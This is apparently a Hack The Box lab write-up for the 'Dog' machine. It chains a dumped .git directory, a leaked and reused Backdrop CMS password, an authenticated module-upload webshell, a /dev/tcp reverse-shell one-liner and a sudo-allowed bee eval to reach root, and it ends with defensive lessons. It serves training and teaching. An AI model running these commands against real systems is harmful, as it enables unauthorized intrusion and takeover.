~/writeups_
Hack The BoxEasyLinux

Dog

An exposed .git directory leaks the Backdrop CMS database password, which logs us into the admin panel. An authenticated module-upload flaw gives RCE as www-data, the leaked password is reused for SSH as johncusack, and a sudo-allowed bee command evaluates PHP as root.

TL;DR

Dog is an Easy-difficulty Linux machine running Backdrop CMS. The web root exposes a .git directory, which we dump to recover the source — including a settings.php that leaks the database password. That password gets us into the Backdrop admin panel as tiffany, where an authenticated module-upload feature lets us install a malicious PHP module for remote code execution as www-data. The same password is reused by the johncusack system account, so we pivot to it over SSH, and a sudo rule allowing johncusack to run the bee CLI lets us evaluate arbitrary PHP as root.

MachineOSDifficultyTarget IPPwnbox IP
DogLinuxEasy10.129.231.22310.10.15.144

Enumeration

We start by finding the open ports with a fast scan, then run service and script detection against just those ports:

Terminal window
ports=$(nmap -p- --min-rate=1000 -T4 10.129.231.223 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -sCV -p$ports 10.129.231.223

The scan returns:

Terminal window
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)
| 256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)
|_ 256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Home | Dog
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.md /web.config /admin
| /comment/reply /filter/tips /node/add /search /user/register
|_/user/password /user/login /user/logout /?q=admin /?q=comment/reply
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-git:
| 10.129.231.223:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: todo: customize url aliases. reference:https://docs.backdro...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Two things jump out. The http-generator line identifies the site as Backdrop CMS, and the http-git script reports an exposed .git repository served straight from the web root — a source-code leak waiting to be dumped.

Browsing to http://10.129.231.223 shows the Backdrop-powered front page:

IMG-Dog-1

For convenience we add the hostname to /etc/hosts:

Terminal window
echo "10.129.231.223 dog.htb" | sudo tee -a /etc/hosts

A quick directory scan confirms the exposed Git metadata and the usual Backdrop layout:

Terminal window
gobuster dir -u http://dog.htb -w /usr/share/wordlists/dirb/common.txt
Terminal window
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://dog.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
===============================================================
.git/HEAD (Status: 200) [Size: 23]
.hta (Status: 403) [Size: 272]
.htaccess (Status: 403) [Size: 272]
.htpasswd (Status: 403) [Size: 272]
core (Status: 301) [Size: 301] [--> http://dog.htb/core/]
files (Status: 301) [Size: 302] [--> http://dog.htb/files/]
index.php (Status: 200) [Size: 13260]
layouts (Status: 301) [Size: 304] [--> http://dog.htb/layouts/]
modules (Status: 301) [Size: 304] [--> http://dog.htb/modules/]
robots.txt (Status: 200) [Size: 1198]
server-status (Status: 403) [Size: 272]
sites (Status: 301) [Size: 302] [--> http://dog.htb/sites/]
themes (Status: 301) [Size: 303] [--> http://dog.htb/themes/]
Progress: 4613 / 4613 (100.00%)
===============================================================

The .git/HEAD responding with 200 confirms the repository is fully exposed.

Foothold

Dumping the exposed Git repository

Because the entire .git directory is served over HTTP, we can reconstruct the source tree with git-dumper:

Terminal window
git-dumper http://dog.htb dump

Inside the recovered source, Backdrop’s settings.php holds the database connection string — and with it, a password:

Terminal window
cat dump/settings.php
settings.php
<?php
/**
* @file
* Main Backdrop CMS configuration file.
*/
/**
* Database configuration:
* ...
*/
$database = 'mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop';
$database_prefix = '';

MySQL isn’t exposed externally, so the password isn’t directly useful against the database — but passwords get reused, so we hold onto it. To log in to Backdrop we still need a username, and we don’t have one yet, so we search the dumped repository for anything resembling an email on the dog.htb domain:

Terminal window
grep -r '@dog.htb' dump/
Terminal window
dump/.git/logs/refs/heads/master:... root <dog@dog.htb> ... commit (initial): todo: customize url aliases...
dump/.git/logs/HEAD:... root <dog@dog.htb> ... commit (initial): todo: customize url aliases...
dump/files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/active/update.settings.json: "tiffany@dog.htb"

That surfaces two candidate accounts: dog@dog.htb and tiffany@dog.htb. Trying the leaked password against the Backdrop login at http://dog.htb/user/login, tiffany@dog.htb authenticates successfully with BackDropJ2024DS2024.

RCE via a malicious Backdrop module

With admin access, we check the exact Backdrop version at Reports → Status report, which shows 1.27.1:

IMG-Dog

Searching for Backdrop CMS 1.27.1 leads to an authenticated remote-code-execution exploit on Exploit-DB (EDB-52021): an admin can install modules from an uploaded archive, and nothing stops that archive from containing a PHP webshell. We grab the exploit and run it against the target:

Terminal window
python3 exploit.py http://dog.htb/

The script produces a shell.zip archive (along with the corresponding shell/ directory). However, uploading shell.zip at http://dog.htb/?q=admin/installer/manual fails — Backdrop rejects the archive:

IMG-Dog-2

Backdrop’s manual installer is happier with a tarball, so we repackage the generated shell/ directory as a .tar archive instead:

Terminal window
tar -cf shell.tar shell

Uploading shell.tar succeeds and the module installs:

IMG-Dog-3

The webshell is now reachable at http://dog.htb/modules/shell/shell.php, which gives us a command input box. Running whoami confirms code execution as www-data.

The web shell only persists for a few minutes, so we trade it for a proper reverse shell. We start a listener on the Pwnbox:

Terminal window
nc -nvlp 9001

Then — after re-uploading shell.tar to refresh the interface — we run the following through the webshell:

Terminal window
bash -c "sh -i >& /dev/tcp/10.10.15.144/9001 0>&1"

The listener catches the callback, giving us an interactive shell as www-data.

User

Enumerating /etc/passwd on the box reveals a regular user with a login shell:

Terminal window
$ grep bash /etc/passwd
root:x:0:0:root:/root:/bin/bash
johncusack:x:1001:1001:,,,:/home/johncusack:/bin/bash

Given how freely the Backdrop database password was reused already, we try it against johncusack over SSH:

Terminal window
ssh johncusack@dog.htb

Entering BackDropJ2024DS2024 at the prompt logs us straight in. We read the user flag:

Terminal window
$ cat /home/johncusack/user.txt
963*****************************

Privilege Escalation

We check what johncusack may run with sudo:

Terminal window
$ sudo -l
[sudo] password for johncusack:
Matching Defaults entries for johncusack on dog:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User johncusack may run the following commands on dog:
(ALL : ALL) /usr/local/bin/bee

johncusack can run /usr/local/bin/bee as root. bee is Backdrop’s command-line companion tool. Running it bare prints its usage, and the interesting subcommands sit under ADVANCED:

Terminal window
$ sudo bee
...
ADVANCED
db-query
dbq
Execute a query using db_query().
eval
ev, php-eval
Evaluate (run/execute) arbitrary PHP code after bootstrapping Backdrop.
php-script
scr
Execute an arbitrary PHP file after bootstrapping Backdrop.
sql
sqlc, sql-cli, db-cli
Open an SQL command-line interface using Backdrop's database credentials.

The eval subcommand runs arbitrary PHP after bootstrapping Backdrop — and since bee is running under sudo, that PHP executes as root. bee needs to locate a Backdrop installation to bootstrap, so we point it at the web root with --root=/var/www/html and have it shell out to bash:

Terminal window
sudo /usr/local/bin/bee --root=/var/www/html eval "system('bash')"

This drops us into a root shell:

IMG-Dog-4

We read the final flag:

Terminal window
# cat /root/root.txt
4e4*****************************
Rooted

Exposed .git leaks the Backdrop DB password → admin login as tiffany → authenticated module-upload RCE (EDB-52021) as www-data → password reuse for SSH as johncusack → sudo-allowed bee eval runs PHP as root.

Lessons Learned

  • Never serve .git from the web root. The whole chain started with a browsable .git directory. Dumping it handed us the application source and, with it, the database credentials in settings.php. Deploy from a build artifact rather than a working clone, or block access to dotfiles and version-control metadata at the web server.
  • Reused passwords collapse every boundary. One database password unlocked the Backdrop admin panel and the johncusack SSH account. Credentials should be unique per service, and secrets committed to a repository must be rotated, not just deleted from the current checkout — they live on in the Git history.
  • Patch your CMS and limit who can install code. Backdrop 1.27.1 let an authenticated admin install a module from an uploaded archive, which is RCE by design once an admin account is compromised. Keep the CMS current and restrict module/theme installation to trusted, minimal accounts.
  • sudo on a feature-rich CLI is root. bee can evaluate arbitrary PHP and open a database shell, so allowing it via sudo is equivalent to handing out a root shell. Grant sudo only on narrowly scoped commands, and check candidates against tools like GTFOBins before adding them to sudoers.